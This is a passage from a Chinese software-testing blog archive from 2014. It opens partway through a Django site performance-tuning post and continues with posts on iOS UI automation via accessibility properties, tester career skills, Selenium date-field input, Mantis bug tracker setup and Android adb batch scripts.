  导致低效的另一个原因是无论页面是否被请求,对每个物件的内容都应用了多个过滤器(Filter)。经我们修改,被过滤内容的 HTML 输出都被存储在物件当中,节约了页面被查阅时的需要进程。这又带来一点小小改进。
  Wall: 13 req/s.
  通过减少数据库查询,我们以修改用户配置文件(用于显示是谁将该物件粘贴到墙上)的获取方式为每个物件剔除了一次查询。这次修改又提高了不少。
  Wall: 15 req/s.
  这场测试的最后一次优化目标是减少获取物件所附加媒体的查询数量。我们再一次削减了一些查询,稍微地提高了性能。
  Wall: 17 req/s.
  下一步:缓存
  在尽可能地减少查询之后,接下来要进行一些缓冲工作。获取缓存数据通常比查询数据库更加快捷,因此我们期待性能有一个显著提升。
  对整个页面的输出进行缓存是没有意义的,因为每个页面根据发出请求的用户不同而截然不同。只有当用户对同一页面的两次请求之间,情况没有发生任何变化,才可能出现缓存命中。
  对墙、物件及用户的列表进行缓存的作用更大。被缓存的数据将被用于从同一用户发出的多个请求,及在对于墙壁的不同程度和不同用户访问之间共享。这未必是巨大的胜利,因为每个“墙”很可能只有极少数的用户,而数据必须在高速缓存中停留足够长的时间以被别人获取。
  在这种情况下,我们简化的 httperf 测试将会被极大地误导。每个请求都由同一用户发出,因此缓存命中几乎是100%,而性能将因此极高!这反映不出真实世界的站点使用情况,因此我们最好进行一些更好的测试。
  目前我们还没有使用缓存,因为站点可以轻松地应对的当前活动水平,但一旦 Hey! Wall 流行起来,这将是我们的下一个步骤。
  多少用户能够导致每秒17次请求?
  提供每秒 17 次请求相应看起来仍然非常少,但将该数据翻译成站点的实际用户量是非常有趣的事情。显然,这数据不包括提供像图片、CSS 和 JavaScript 文件之类的媒体文件服务。相对来说,媒体文件个头要大一些,但它们直接由 Lighttpd (而不是 Django)处理,并提供了 Expires 头部信息来允许客户端对它们进行缓存。不过,为了在测试中更好地进行评估,我们还是需要对服务器进行一些处理。
  现在说采用何种通用模式还为时过早,因此我说的只能是猜测。请允许我这么说!
  我将假定每个用户平均访问三个“墙”,并按顺序查看它们的内容,暂停10至20秒时间以阅读新的评论,或查看一些照片和打开一些链接。该用户每天进行三次这种操作。
  只看墙页面,不看媒体的话,用户将每天对墙页面发起 9 次访问请求。每个用户一次只能发起一次访问请求,因此在时间上,任何一秒内 17 个用户可以同时进行该操作。一分钟内,用户只发出3次访问请求,因此17个并发用户只用去了60 秒中的 3 秒(或20秒中的1秒)。
  如果一段时间内用户的请求分布是完全平衡的(提示:不可能的!),那也就意味着每分钟可以有 340 用户(17 * 20)访问该网站。延续这个不真实的例子,我们可以说每天有 1440 分钟,而每个用户每天访问网站 3 分钟,因此该网站可以应对大约 163,000 个用户。这对于一个每月 20 美元的 VPS 来说已经非常棒了!
  为了更多统计一下这些数字,让我们假定每天6小时内,我们每分钟应对 200 个并发用户,另 6 个小时内(每分钟)应对 100 个并发用户,剩下的 12 小时内(每分钟)应对 10 个并发用户。基于每秒 17 次请求的最大负荷,网站每天仍然可以应对的大约 115,000 个用户。
  我确信这些数字并不虚假和荒谬。如果有人在评论中提出更好的评估方案或者真实世界的数据,我将非常感兴趣。
  我们学到了什么?
  概括:
  测试网站性能可能会产生令人惊异的结果
  过多的数据库查询对性能(duh)来说不是件好事
  对站点的某类内容进行缓存比对其他一些更好
  一台廉价的 VPS 所能应对的用户数量比你所想像的要多得多

posted @ 2014-07-02 16:35 顺其自然EVO 阅读(343) | 评论 (0)编辑 收藏

IOS无线客户端自动化测试

做IOS自动化的过程中,会遇到两个问题,需要开发对代码的支持。
  1. 用instruments总是会获取不到一些UI元素
  2. 客户端中没有固定的ID供测试代码来确定页面元素。然后只能通过target.frontMostApp().mainWindow().scrollViews()[0].tableViews()[0].cells()[0].tap(); 这样的方式来定位元素。
  第一个问题产生的原因是在客户端开发的过程,需要自定义大量的UIView来满足需求。这些UI有两种构建方式,
  1. 用原生的UI组件来拼接
  2. 通过一些自己来画
  instruments 是通过元素的isAccessibilityElement属性来判定元素是否可见。
  解决方案:
  1. 原生的UI组件的isAccessibilityElement默认是YES的。自定义的UI组件的isAccessibilityElement属性是NO,当isAccessibilityElement为NO时,instruments将无法捕获。而且苹果的UI还有覆盖性之说,所以这种情况,我们需要将自定义的 UI的子UI的isAccessibilityElement属性置为YES,而不是自定义的UI本身,instruments就能获取到。
  如
@interface SNCommentHeaderView : UIView
{
UIImageView    *headerBgView;
UILabel        *titleLabel;
}
- (id)initWithFrame:(CGRect)frame
{
NSLog(@"SNCommentHeaderView_init");
self = [super initWithFrame:frame];
if (self) {
// Initialization code
headerBgView = [[UIImageView alloc] initWithImage:[UIImage skinImageNamed:@"comment_sectionheader_title_bg.png"]];
CGRect bgFrame = headerBgView.frame;
bgFrame.origin.y = 10;
headerBgView.frame = bgFrame;
headerBgView.isAccessibilityElement = YES;
[self addSubview:headerBgView];
titleLabel = [[UILabel alloc] initWithFrame:UIEdgeInsetsInsetRect(bgFrame, UIEdgeInsetsMake(0, 0, 1.5, 0))];
titleLabel.backgroundColor = [UIColor clearColor];
titleLabel.font = [UIFont fontWithName:BOLD_FONT_NAME size:12];
titleLabel.textAlignment = UITextAlignmentCenter;
titleLabel.textColor = [UIColor skinColorForKey:SNSkinCommentSectionHeaderColor];
titleLabel.isAccessibilityElement = YES;
[self addSubview:titleLabel];
}
return self;
}
  2. 非原生控件成的UI,instruments暂时是不支持获取的。在苹果官方文档中又一套非正式的创建自定义UI的方式。针对这种情况,只能通过去定位他的父节点定位了。如果需要验证的话,可以将自定义UI的内容通过设置accessibilityIdentifier或者accessibilityLabel,然后通过父节点取得值来验证。
  做IOS自动化,只能通过target.frontMostApp().mainWindow().scrollViews()[0].tableViews()[0].cells()[0].tap(); 这样来定位坐标是个很原始的方式,而且需要变化比较快,一旦UI方式改变,case会受到很大的影响。所以假使在源码中通过对一些比较固定或case中功能点的元素设置accessibilityIdentifier,然后脚本可以通过这accessibilityIdentifier来定位元素,可以大大减少自动化脚本的维护成本,也可大大提高开发速度。

posted @ 2014-07-02 16:34 顺其自然EVO 阅读(769) | 评论 (0)编辑 收藏

要想成为高级软件测试人员,需要做全才吗?

在回答要不要做全才之前,我们应该先弄清楚一个问题,作为一个全才应该需要哪些能力?
  我认为作为一个测试人员,应该具备四方面知识:测试基础,行业业务储备,测试工具和技术,测试管理能力和经验。
  以上四方面也是测试人员晋升的参考,当然测试基础咱们都有就看储备了多少,其他三方面是咱们努力的方向。
  测试基础是所有测试人员应该具备的,其他三项精于一项可以一招鲜,精于两项可以称之为高手,精于三项的话?我的天啦
  行业业务知识,基本上可以说能够称为行业的,基本上其业务知识就不是一年两年可以弄清楚的,比如金融,ERP,供应链,游戏
  测试工具和技术,精于测试的大两项(性能和自动化)就已经在这个行业可以很好了,还有安全测试数据库,WEB测试甚至一些其他测试。技术是没有边界的,同时技术一直在发展。
  测试管理能力和经验,以前认为做管理的要通才,都懂一些的人但可以不精。等后来PMP大行其道的时候,发现原来项目管理也有方法,将这些方法用熟工作自然就做好了。
  现在,请问:亲爱的朋友,你想做全才吗?你还能做全才吗?
  我的答案是,业务、技术,管理三大方面都要有所储备,不要因为自己对哪方面不擅长而放弃,这是咱们职业进阶的钱途,是钱途就没有放弃的想法。
  说到现在,我想我支持的是全能型的全才这个观点,但这一次毕竟不是话题PK,所以我不需要明确的支持哪个观点。
  据我多年的经验,一个人要完成全才这个战略目标,咱们这个行业也许还有,但肯定不多。
  因为社会已经实现了高度分工与合作的特点,每一个人的工作限制了他主要应用的是某几方面的知识和技能。
  如果被认为是万金油型的成员,要么就成为了公司的一把手人物(张小龙级别),要么就是角色不固定的团队拼图成员。
  在NBA里面,万金油型的队员没有成为球队核心的,除了james,也没有能打五个位置还是球队核心的成员。
  当今的主流文化告诉咱们,要成为团队的核心,要的是多能一专,用一专来取得团队的认可,用多能来黏合整个团队。
  最后引用韩寒在《穿着棉袄洗澡》中的一段话作为结束语:如果现在这个时代能出全才,那便是应试教育的幸运和这个时代的不幸。如果有,他便是人中之王,可惜没有,所以我们只好把“全”字人下的“王”给拿掉。时代需要的只是人才。
原帖地址:http://bbs.51testing.com/viewthread.php?tid=1016285

posted @ 2014-07-02 16:33 顺其自然EVO 阅读(315) | 评论 (0)编辑 收藏

Selenium模拟光标进入和tab键移动

 在做一个项目的selenium测试,但是遇到一个问题,通过tape语句输入日期之后,到selenium运行到查询按钮的时候,
  输入的日期却是不正确了。比如输入04102013,结果却04/02/13__。输入04/10/2013,结果却是04/10/20。
  后来深入的研究了日期输入框的行为,原来是系统在js上做了一些特殊的处理。光标进入时,把格式掩码(如/)去掉,
  显示数字,光标离开之后,进行格式掩码处理。 并且限制该输入框的最大输入长度为8。因此,才造成上面的几种错误。
  所以,我们就采用下面的作法,模拟光标的进入,赋值,光标离开。
selenium.focus("id=condition.orderNo");   //id=condition.fromDate的上一个项目
selenium.keyPressNative("09");  //模拟键入tab键
selenium.focus("id=condition.fromDate"); // 设光标
selenium.type("id=condition.fromDate", "04102013"); //赋值
selenium.focus("id=condition.fromDate");  //设光标
selenium.keyPressNative("09"); //模拟键入tab键

posted @ 2014-07-02 16:32 顺其自然EVO 阅读(1171) | 评论 (0)编辑 收藏

Windows下搭建及配置Mantis缺陷管理工具

 在windows XP 操作系统下,如何更快、更容易地搭建及配置mantis缺陷管理工具呢?以下是我实践的具体步骤:
  一、安装mantis的前提环境,需要先安装Apache HTTP Server2.2、PHP 5、MySQL5.1
  网上下载APMServ5.2.6工具,APMServ 5.2.6 是一款拥有图形界面的快速搭建Apache 2.2.9、PHP 5.2.6、MySQL 5.1.28&4.0.26、Nginx、Memcached、phpMyAdmin、OpenSSL、SQLite、ZendOptimizer,以及ASP、CGI、Perl网站服务器平台的绿色软件。
  下载完解压后,把它放在C盘根目录下。
  注意:如果你的电脑已经安装了MySQL数据库,启动APMServ5.2.6工具时会报MySQL数据库启动失败,原因是3306端口号被占用了,解决方法是,先在cmd窗口命令输入netstat -ano ,查找占用3306端口的进程并且在任务管理器中结束该进程,然后打开本地电脑的MySQL服务,启动服务,最后再启动APMServ5.2.6工具。
  二、安装mantis
  1、官网下载mantisbt-1.2.17 ,下载地址:http://www.mantisbt.org/download.php
  解压下载的安装包,将它放到C:\APMServ5.2.6\www\htdocs目录下,打开浏览器访问http://127.0.0.1,点击mantisbt-1.2.17,出现安装mantis界面,输入数据库连接信息,点击“Install/Upgrade Databasenstall”,如图
  2、出现如下图,可以看到“install was successful”,说明mantis已经安装成功
三、mantis配置
  其实mantis的安装非常容易,重点是mantis如何配置,包括简体中文设置、日期格式设置、邮件通知设置、显示统计报表设置等,下面作介绍:
  1、进入mantisbt-1.2.17文件夹下,我这里的路径是C:\APMServ5.2.6\www\htdocs\mantisbt-1.2.17,复制config_defaults_inc.php到该目录下重命名为config_inc.php,并打开config_inc.php,修改如下内容:
  (1)、mantis语言设置
  $g_default_language                = 'english'; //将english  改为chinese_simplified
  (2)、日期格式设置
  $g_complete_date_format = 'Y-m-d H:i T'; //改为习惯的日期格式
  (3)、邮件设置
$g_enable_email_notification = ON;//开启邮件通知
$g_phpMailer_method  = 2; //以smtp发送邮件
$g_smtp_host   = 'smtp.163.com:25'; //设置邮箱服务器,我这里是使用163邮箱
$g_smtp_username = 'username';  #邮箱账号,记得不用加@及后面的域名内容
$g_smtp_password = 'pwd';//自己登陆邮箱的密码
$g_return_path_email = 'username@163.com';//邮件发送或返回的邮箱
  (4)、添加PHP邮件服务
  (注意:这里需要在网上下载PHPMailer_5.2.4,解压后放在随便的目录,我这里的路径为C:\PHPMailer_5.2.4)
  $g_use_phpMailer = ON;
  $g_phpMailer_path = C:\PHPMailer_5.2.4';  //phpMailer路径,可以写相对路劲,但我填写相对路径发送邮件没成功。
  (5)、图形报表设置
  安装JPGraph,下载地址:http://hem.bredband.net/jpgraph/jpgraph-1.21b.tar.gz,解压缩到mantis的路径下,我这里是C:\APMServ5.2.6\www\htdocs\mantisbt-1.2.17,修改文件内容
  $g_jpgraph_antialias = ON;//开启图形报表
  $g_jpgraph_path   = C:\APMServ5.2.6\www\htdocs\mantisbt-1.2.17\jpgraph\src\';//添加指定的路径
  在C:\APMServ5.2.6\PHP目录下编辑php.ini将“;extension=php_gd2.dll”前面的分号删除,这个模块是JPGraph在显示图表和进行汉字编码转换是所必须的。
  其实之前已经设置了mantis的简体中文显示了,而APMServ5.2.6集成得很好,没有出现乱码问题。
  四、登录mantis
  打开浏览器,访问http://127.0.0.1/mantisbt-1.2.17/login_page.php,登录界面有两个警告,如图:
  解决方法:1、使用administrator用户登录,密码为root,登录进去后,修改密码;
  2、将mantis下的admin文件夹删除,或者修改名字作为日后备份;

posted @ 2014-07-02 16:32 顺其自然EVO 阅读(640) | 评论 (0)编辑 收藏

Android测试提升效率批处理脚本

 前言:
  APP测试过程中,经常需要用的一些命令,如adb,每次敲命令,虽可以加深印象,但个人认为那即繁琐又浪费时间。本文贴出一些我使用的批处理,以及一点点小小技巧。
  目录
  1、[查看APK文件信息.bat]
  2、[自动安装APK.bat]
  1、[查看APK文件信息.bat]
@ECHO OFF
ECHO [查看APK包信息]
ECHO -------------------------------
ECHO aapt dump badging %~nx1
aapt dump badging %1 > %~dp0%~n1.txt
ECHO [暂停3秒自动关闭...]
ping -n 3 127.0.0.1>nul
@ECHO ON
  使用方法:将APK直接拖至bat文件上即可,信息保存在bat所在目录下的txt文件里
  2、[自动安装APK.bat]
@ECHO OFF
ECHO [安装APK]
ECHO -------------------------------
ECHO [等待插入手机...]
adb wait-for-device
ECHO [安装] %~nx1
adb install -r %1
ECHO [暂停5秒自动关闭...]
ping -n 5 127.0.0.1>nul
@ECHO ON
  使用方法:将APK直接拖至bat文件上即可

posted @ 2014-07-02 16:32 顺其自然EVO 阅读(196) | 评论 (0)编辑 收藏

仅列出标题
共394页: First 上一页 90 91 92 93 94 95 96 97 98 下一页 Last 
<2025年4月>
303112345
6789101112
13141516171819
20212223242526
27282930123
45678910

导航

统计

常用链接

留言簿(55)

随笔分类

随笔档案

文章分类

文章档案

搜索

最新评论

阅读排行榜

评论排行榜